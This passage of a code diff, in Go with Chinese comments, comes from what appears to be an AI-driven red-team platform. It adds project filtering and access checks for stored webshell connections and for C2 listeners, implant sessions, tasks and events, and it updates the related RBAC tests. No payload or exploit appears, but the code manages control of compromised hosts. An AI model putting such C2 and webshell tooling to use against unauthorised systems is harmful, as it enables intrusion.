||||
if err := db.CreateWebshellConnection(&ws3); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateWebshellConnection(&ws4); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = db.SetResourceOwner("webshell", ws1.ID, "u1")
|
||||
_ = db.SetResourceOwner("webshell", ws2.ID, "u2")
|
||||
webshells, err := db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn)
|
||||
_ = db.SetResourceOwner("webshell", ws3.ID, "u1")
|
||||
_ = db.SetResourceOwner("webshell", ws4.ID, "u1")
|
||||
webshells, err := db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(webshells) != 3 {
|
||||
t.Fatalf("webshells = %#v, want 3 owned webshells including unbound", webshells)
|
||||
}
|
||||
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "p1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(webshells) != 1 || webshells[0].ID != ws1.ID {
|
||||
t.Fatalf("webshells = %#v, want only %s", webshells, ws1.ID)
|
||||
t.Fatalf("webshells scoped to p1 = %#v, want only %s", webshells, ws1.ID)
|
||||
}
|
||||
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, ProjectFilterUnbound)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(webshells) != 1 || webshells[0].ID != ws4.ID {
|
||||
t.Fatalf("unbound webshells = %#v, want only %s", webshells, ws4.ID)
|
||||
}
|
||||
|
||||
if err := db.CreateBatchQueue("q_visible", "visible", "", "eino_single", "manual", "", nil, "", 1, []map[string]interface{}{{"id": "t1", "message": "a"}}); err != nil {
|
||||
@@ -411,61 +435,143 @@ func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
||||
func TestRBACC2AccessInheritsListener(t *testing.T) {
|
||||
db := newRBACTestDB(t)
|
||||
now := time.Now()
|
||||
l1 := &C2Listener{ID: "l_visible", Name: "visible", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, OwnerUserID: "u1", CreatedAt: now}
|
||||
l2 := &C2Listener{ID: "l_hidden", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, OwnerUserID: "u2", CreatedAt: now}
|
||||
l1 := &C2Listener{ID: "l_visible", ProjectID: "p1", Name: "visible", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, OwnerUserID: "u1", CreatedAt: now}
|
||||
l2 := &C2Listener{ID: "l_hidden", ProjectID: "p2", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, OwnerUserID: "u2", CreatedAt: now}
|
||||
l3 := &C2Listener{ID: "l_other_project", ProjectID: "p2", Name: "other project", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9003, OwnerUserID: "u1", CreatedAt: now}
|
||||
l4 := &C2Listener{ID: "l_unbound", Name: "unbound", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9004, OwnerUserID: "u1", CreatedAt: now}
|
||||
if err := db.CreateC2Listener(l1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Listener(l2); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Listener(l3); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Listener(l4); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.UpsertC2Session(&C2Session{ID: "s_visible", ListenerID: l1.ID, ImplantUUID: "implant-visible", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.UpsertC2Session(&C2Session{ID: "s_hidden", ListenerID: l2.ID, ImplantUUID: "implant-hidden", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.UpsertC2Session(&C2Session{ID: "s_other_project", ListenerID: l3.ID, ImplantUUID: "implant-other-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.UpsertC2Session(&C2Session{ID: "s_unbound", ListenerID: l4.ID, ImplantUUID: "implant-unbound", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Task(&C2Task{ID: "t_visible", SessionID: "s_visible", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Task(&C2Task{ID: "t_hidden", SessionID: "s_hidden", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Task(&C2Task{ID: "t_other_project", SessionID: "s_other_project", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateC2Task(&C2Task{ID: "t_unbound", SessionID: "s_unbound", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AppendC2Event(&C2Event{ID: "e_visible", Level: "info", Category: "task", SessionID: "s_visible", TaskID: "t_visible", Message: "visible", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AppendC2Event(&C2Event{ID: "e_hidden", Level: "info", Category: "task", SessionID: "s_hidden", TaskID: "t_hidden", Message: "hidden", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AppendC2Event(&C2Event{ID: "e_other_project", Level: "info", Category: "task", SessionID: "s_other_project", TaskID: "t_other_project", Message: "other project", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AppendC2Event(&C2Event{ID: "e_unbound", Level: "info", Category: "task", SessionID: "s_unbound", TaskID: "t_unbound", Message: "unbound", CreatedAt: now}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
access := RBACListAccess{UserID: "u1", Scope: RBACScopeOwn}
|
||||
listeners, err := db.ListC2ListenersForAccess(access)
|
||||
listeners, err := db.ListC2ListenersForAccess(access, "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listeners) != 3 {
|
||||
t.Fatalf("listeners = %#v, want 3 owned listeners including unbound", listeners)
|
||||
}
|
||||
listeners, err = db.ListC2ListenersForAccess(access, "p1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listeners) != 1 || listeners[0].ID != l1.ID {
|
||||
t.Fatalf("listeners = %#v, want only %s", listeners, l1.ID)
|
||||
t.Fatalf("listeners scoped to p1 = %#v, want only %s", listeners, l1.ID)
|
||||
}
|
||||
listeners, err = db.ListC2ListenersForAccess(access, ProjectFilterUnbound)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listeners) != 1 || listeners[0].ID != l4.ID {
|
||||
t.Fatalf("unbound listeners = %#v, want only %s", listeners, l4.ID)
|
||||
}
|
||||
sessions, err := db.ListC2SessionsForAccess(ListC2SessionsFilter{}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(sessions) != 3 {
|
||||
t.Fatalf("sessions = %#v, want 3 owned sessions including unbound", sessions)
|
||||
}
|
||||
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: "p1"}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(sessions) != 1 || sessions[0].ID != "s_visible" {
|
||||
t.Fatalf("sessions = %#v, want only s_visible", sessions)
|
||||
t.Fatalf("sessions scoped to p1 = %#v, want only s_visible", sessions)
|
||||
}
|
||||
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(sessions) != 1 || sessions[0].ID != "s_unbound" {
|
||||
t.Fatalf("unbound sessions = %#v, want only s_unbound", sessions)
|
||||
}
|
||||
tasks, err := db.ListC2TasksForAccess(ListC2TasksFilter{}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 3 {
|
||||
t.Fatalf("tasks = %#v, want 3 owned tasks including unbound", tasks)
|
||||
}
|
||||
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: "p1"}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 1 || tasks[0].ID != "t_visible" {
|
||||
t.Fatalf("tasks = %#v, want only t_visible", tasks)
|
||||
t.Fatalf("tasks scoped to p1 = %#v, want only t_visible", tasks)
|
||||
}
|
||||
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 1 || tasks[0].ID != "t_unbound" {
|
||||
t.Fatalf("unbound tasks = %#v, want only t_unbound", tasks)
|
||||
}
|
||||
events, err := db.ListC2EventsForAccess(ListC2EventsFilter{}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(events) != 3 {
|
||||
t.Fatalf("events = %#v, want 3 owned events including unbound", events)
|
||||
}
|
||||
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: "p1"}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(events) != 1 || events[0].ID != "e_visible" {
|
||||
t.Fatalf("events = %#v, want only e_visible", events)
|
||||
t.Fatalf("events scoped to p1 = %#v, want only e_visible", events)
|
||||
}
|
||||
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(events) != 1 || events[0].ID != "e_unbound" {
|
||||
t.Fatalf("unbound events = %#v, want only e_unbound", events)
|
||||
}
|
||||
if !db.UserCanAccessResource("u1", RBACScopeOwn, "c2_task", "t_visible") {
|
||||
t.Fatalf("expected listener ownership to allow task detail")
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
// WebShellConnection WebShell 连接配置
|
||||
type WebShellConnection struct {
|
||||
ID string `json:"id"`
|
||||
ProjectID string `json:"project_id,omitempty"`
|
||||
URL string `json:"url"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
@@ -60,17 +61,24 @@ func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) erro
|
||||
|
||||
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
|
||||
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||
return db.ListWebshellConnectionsForAccess("", "")
|
||||
return db.ListWebshellConnectionsForAccess("", "", "")
|
||||
}
|
||||
|
||||
func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShellConnection, error) {
|
||||
func (db *DB) ListWebshellConnectionsForAccess(userID, scope, projectID string) ([]WebShellConnection, error) {
|
||||
query := `
|
||||
SELECT id, url, password, type, method, cmd_param, remark,
|
||||
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||
FROM webshell_connections
|
||||
WHERE 1=1
|
||||
`
|
||||
args := []interface{}{}
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == ProjectFilterUnbound {
|
||||
query += ` AND COALESCE(project_id, '') = ''`
|
||||
} else if projectID != "" {
|
||||
query += ` AND COALESCE(project_id, '') = ?`
|
||||
args = append(args, projectID)
|
||||
}
|
||||
userID = strings.TrimSpace(userID)
|
||||
if userID != "" && scope != RBACScopeAll {
|
||||
query += ` AND (
|
||||
@@ -93,7 +101,7 @@ func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShell
|
||||
var list []WebShellConnection
|
||||
for rows.Next() {
|
||||
var c WebShellConnection
|
||||
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
err := rows.Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
if err != nil {
|
||||
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
|
||||
continue
|
||||
@@ -106,12 +114,12 @@ func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShell
|
||||
// GetWebshellConnection 根据 ID 获取一条连接
|
||||
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||
query := `
|
||||
SELECT id, url, password, type, method, cmd_param, remark,
|
||||
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||
FROM webshell_connections WHERE id = ?
|
||||
`
|
||||
var c WebShellConnection
|
||||
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
err := db.QueryRow(query, id).Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
@@ -125,10 +133,10 @@ func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||
// CreateWebshellConnection 创建 WebShell 连接
|
||||
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||
query := `
|
||||
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
INSERT INTO webshell_connections (id, project_id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
||||
_, err := db.Exec(query, c.ID, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
||||
if err != nil {
|
||||
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||
return err
|
||||
@@ -140,10 +148,10 @@ func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
|
||||
query := `
|
||||
UPDATE webshell_connections
|
||||
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
||||
SET project_id = ?, url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
||||
WHERE id = ?
|
||||
`
|
||||
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
||||
result, err := db.Exec(query, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
||||
if err != nil {
|
||||
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||
return err
|
||||
|
||||
@@ -212,7 +212,7 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
|
||||
if h == nil || conversationID == "" || h.tasks == nil {
|
||||
return
|
||||
}
|
||||
h.cancelActiveMCPToolForConversation(conversationID)
|
||||
h.cancelRunningMCPToolsForConversation(conversationID)
|
||||
h.tasks.AbortActiveEinoExecute(conversationID, "")
|
||||
if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
|
||||
h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
|
||||
@@ -221,12 +221,13 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *AgentHandler) cancelActiveMCPToolForConversation(conversationID string) {
|
||||
if h == nil || h.tasks == nil || h.agent == nil {
|
||||
func (h *AgentHandler) cancelRunningMCPToolsForConversation(conversationID string) {
|
||||
if h == nil || h.agent == nil {
|
||||
return
|
||||
}
|
||||
if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
|
||||
h.agent.CancelMCPToolExecutionWithNote(execID, "")
|
||||
n := h.agent.CancelRunningMCPToolsForConversation(conversationID, "会话已结束,自动终止仍在运行的工具")
|
||||
if n > 0 && h.logger != nil {
|
||||
h.logger.Info("已终止会话仍在运行的 MCP 工具", zap.String("conversationId", conversationID), zap.Int("count", n))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -266,7 +267,7 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
|
||||
batchCronParser: cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
|
||||
auditLLM: openai.NewClient(llmCfg, llmHTTP, logger),
|
||||
}
|
||||
tm.SetToolCanceler(handler.cancelActiveMCPToolForConversation)
|
||||
tm.SetToolCanceler(handler.cancelRunningMCPToolsForConversation)
|
||||
if err := handler.hitlManager.EnsureSchema(); err != nil {
|
||||
logger.Warn("初始化 HITL 表失败", zap.Error(err))
|
||||
}
|
||||
@@ -340,12 +341,26 @@ type ChatRequest struct {
|
||||
Role string `json:"role,omitempty"` // 角色名称
|
||||
Attachments []ChatAttachment `json:"attachments,omitempty"`
|
||||
WebShellConnectionID string `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手:当前选中的连接 ID,仅使用 webshell_* 工具
|
||||
AIChannelID string `json:"aiChannelId,omitempty"` // 会话级 AI 通道;空则使用 ai.default_channel
|
||||
Hitl *HITLRequest `json:"hitl,omitempty"`
|
||||
Reasoning *ChatReasoningRequest `json:"reasoning,omitempty"`
|
||||
// Orchestration 仅对 /api/multi-agent、/api/multi-agent/stream:deep | plan_execute | supervisor;空则等同 deep。机器人/批量等无请求体时由服务端默认 deep。/api/eino-agent* 不使用此字段。
|
||||
Orchestration string `json:"orchestration,omitempty"`
|
||||
}
|
||||
|
||||
func (h *AgentHandler) configForAIChannel(channelID string) (*config.Config, string, error) {
|
||||
if h == nil || h.config == nil {
|
||||
return nil, "", fmt.Errorf("服务器配置未加载")
|
||||
}
|
||||
oa, resolvedID, ok := h.config.ResolveAIChannel(channelID)
|
||||
if !ok {
|
||||
return nil, resolvedID, fmt.Errorf("AI 通道不存在: %s", resolvedID)
|
||||
}
|
||||
cfgCopy := *h.config
|
||||
cfgCopy.OpenAI = oa
|
||||
return &cfgCopy, resolvedID, nil
|
||||
}
|
||||
|
||||
func chatReasoningToClientIntent(r *ChatReasoningRequest) *reasoning.ClientIntent {
|
||||
if r == nil {
|
||||
return nil
|
||||
@@ -1553,7 +1568,7 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
|
||||
|
||||
var cause error = ErrTaskCancelled
|
||||
msg := "已提交取消请求,任务将在当前步骤完成后停止。"
|
||||
h.cancelActiveMCPToolForConversation(req.ConversationID)
|
||||
h.cancelRunningMCPToolsForConversation(req.ConversationID)
|
||||
h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
|
||||
ok, err := h.tasks.CancelTask(req.ConversationID, cause)
|
||||
if err != nil {
|
||||
|
||||
+96
-7
@@ -60,7 +60,7 @@ func (h *C2Handler) SetManager(m *c2.Manager) {
|
||||
|
||||
// ListListeners 获取监听器列表
|
||||
func (h *C2Handler) ListListeners(c *gin.Context) {
|
||||
listeners, err := h.mgr().DB().ListC2ListenersForAccess(c2AccessFromContext(c))
|
||||
listeners, err := h.mgr().DB().ListC2ListenersForAccess(c2AccessFromContext(c), c.Query("project_id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
@@ -77,6 +77,7 @@ func (h *C2Handler) ListListeners(c *gin.Context) {
|
||||
func (h *C2Handler) CreateListener(c *gin.Context) {
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
ProjectID string `json:"project_id,omitempty"`
|
||||
Type string `json:"type"`
|
||||
BindHost string `json:"bind_host"`
|
||||
BindPort int `json:"bind_port"`
|
||||
@@ -92,6 +93,7 @@ func (h *C2Handler) CreateListener(c *gin.Context) {
|
||||
|
||||
input := c2.CreateListenerInput{
|
||||
Name: req.Name,
|
||||
ProjectID: req.ProjectID,
|
||||
Type: req.Type,
|
||||
BindHost: req.BindHost,
|
||||
BindPort: req.BindPort,
|
||||
@@ -100,6 +102,10 @@ func (h *C2Handler) CreateListener(c *gin.Context) {
|
||||
Config: req.Config,
|
||||
CallbackHost: strings.TrimSpace(req.CallbackHost),
|
||||
}
|
||||
if !h.canAccessProject(c, input.ProjectID) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||
return
|
||||
}
|
||||
|
||||
listener, err := h.mgr().CreateListener(input)
|
||||
if err != nil {
|
||||
@@ -158,6 +164,7 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
||||
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
ProjectID string `json:"project_id"`
|
||||
BindHost string `json:"bind_host"`
|
||||
BindPort int `json:"bind_port"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
@@ -179,6 +186,7 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
||||
}
|
||||
|
||||
listener.Name = req.Name
|
||||
listener.ProjectID = strings.TrimSpace(req.ProjectID)
|
||||
listener.BindHost = req.BindHost
|
||||
listener.BindPort = req.BindPort
|
||||
listener.ProfileID = req.ProfileID
|
||||
@@ -187,6 +195,10 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
||||
cfgJSON, _ := json.Marshal(req.Config)
|
||||
listener.ConfigJSON = string(cfgJSON)
|
||||
}
|
||||
if !h.canAccessProject(c, listener.ProjectID) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||
return
|
||||
}
|
||||
if req.CallbackHost != nil {
|
||||
cfg := &c2.ListenerConfig{}
|
||||
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||
@@ -275,6 +287,7 @@ func (h *C2Handler) StopListener(c *gin.Context) {
|
||||
func (h *C2Handler) ListSessions(c *gin.Context) {
|
||||
filter := database.ListC2SessionsFilter{
|
||||
ListenerID: c.Query("listener_id"),
|
||||
ProjectID: c.Query("project_id"),
|
||||
Status: c.Query("status"),
|
||||
OS: c.Query("os"),
|
||||
Search: c.Query("search"),
|
||||
@@ -404,6 +417,47 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
||||
c.JSON(http.StatusOK, out)
|
||||
}
|
||||
|
||||
// SetSessionNote 更新会话备注(仅服务端元数据,不下发植入体)
|
||||
func (h *C2Handler) SetSessionNote(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
var req struct {
|
||||
Note string `json:"note"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
note := strings.TrimSpace(req.Note)
|
||||
if len(note) > 2000 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "note too long (max 2000 characters)"})
|
||||
return
|
||||
}
|
||||
|
||||
session, err := h.mgr().DB().GetC2Session(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if session == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := h.mgr().DB().SetC2SessionNote(id, note); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if h.audit != nil {
|
||||
h.audit.RecordOK(c, "c2", "session_note", "更新 C2 会话备注", "c2_session", id, map[string]interface{}{
|
||||
"note_len": len(note),
|
||||
})
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"updated": true,
|
||||
"note": note,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 任务 API
|
||||
// ============================================================================
|
||||
@@ -412,7 +466,14 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
||||
func (h *C2Handler) ListTasks(c *gin.Context) {
|
||||
filter := database.ListC2TasksFilter{
|
||||
SessionID: c.Query("session_id"),
|
||||
ProjectID: c.Query("project_id"),
|
||||
Status: c.Query("status"),
|
||||
TaskType: c.Query("task_type"),
|
||||
}
|
||||
if since := c.Query("since"); since != "" {
|
||||
if t, err := database.ParseRFC3339Time(since); err == nil {
|
||||
filter.Since = &t
|
||||
}
|
||||
}
|
||||
|
||||
paginated := false
|
||||
@@ -447,7 +508,7 @@ func (h *C2Handler) ListTasks(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 仪表盘「待审任务」为全局 queued/pending 数量,与列表 session 过滤无关
|
||||
pendingN, _ := h.mgr().DB().CountC2TasksQueuedOrPendingForAccess("", access)
|
||||
pendingN, _ := h.mgr().DB().CountC2TasksQueuedOrPendingForAccess("", filter.ProjectID, access)
|
||||
|
||||
if !paginated {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
@@ -462,9 +523,15 @@ func (h *C2Handler) ListTasks(c *gin.Context) {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
statusCounts, err := h.mgr().DB().CountC2TasksByStatusForAccess(filter, access)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"tasks": tasks,
|
||||
"total": total,
|
||||
"status_counts": statusCounts,
|
||||
"page": page,
|
||||
"page_size": pageSize,
|
||||
"pending_queued_count": pendingN,
|
||||
@@ -784,11 +851,12 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
|
||||
filter := database.ListC2EventsFilter{
|
||||
Level: c.Query("level"),
|
||||
Category: c.Query("category"),
|
||||
ProjectID: c.Query("project_id"),
|
||||
SessionID: c.Query("session_id"),
|
||||
TaskID: c.Query("task_id"),
|
||||
}
|
||||
if since := c.Query("since"); since != "" {
|
||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
||||
if t, err := database.ParseRFC3339Time(since); err == nil {
|
||||
filter.Since = &t
|
||||
}
|
||||
}
|
||||
@@ -832,11 +900,17 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
levelCounts, err := h.mgr().DB().CountC2EventsByLevelForAccess(filter, access)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"events": events,
|
||||
"total": total,
|
||||
"page": page,
|
||||
"page_size": pageSize,
|
||||
"events": events,
|
||||
"total": total,
|
||||
"level_counts": levelCounts,
|
||||
"page": page,
|
||||
"page_size": pageSize,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1115,6 +1189,21 @@ func c2AccessFromContext(c *gin.Context) database.RBACListAccess {
|
||||
return database.RBACListAccess{UserID: session.UserID, Scope: session.Scope}
|
||||
}
|
||||
|
||||
func (h *C2Handler) canAccessProject(c *gin.Context, projectID string) bool {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == "" {
|
||||
return true
|
||||
}
|
||||
session, ok := security.CurrentSession(c)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if session.Scope == database.RBACScopeAll {
|
||||
return true
|
||||
}
|
||||
return h.mgr().DB().UserCanAccessResource(session.UserID, session.Scope, "project", projectID)
|
||||
}
|
||||
|
||||
func (h *C2Handler) c2ResourceAllowed(c *gin.Context, resourceType, resourceID string) bool {
|
||||
session, ok := security.CurrentSession(c)
|
||||
if !ok {
|
||||
|
||||
@@ -1,13 +1,17 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"crypto/rand"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"mime"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
@@ -21,8 +25,15 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
chatUploadsRootDirName = "chat_uploads"
|
||||
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
|
||||
chatUploadsRootDirName = "chat_uploads"
|
||||
reductionRootDirName = "tmp/reduction"
|
||||
artifactsRootDirName = "data/conversation_artifacts"
|
||||
reductionVirtualPrefix = "__reduction__/"
|
||||
artifactVirtualPrefix = "__conversation_artifact__/"
|
||||
chatUploadSourceUpload = "upload"
|
||||
chatUploadSourceReduction = "reduction"
|
||||
chatUploadSourceConversation = "conversation_artifact"
|
||||
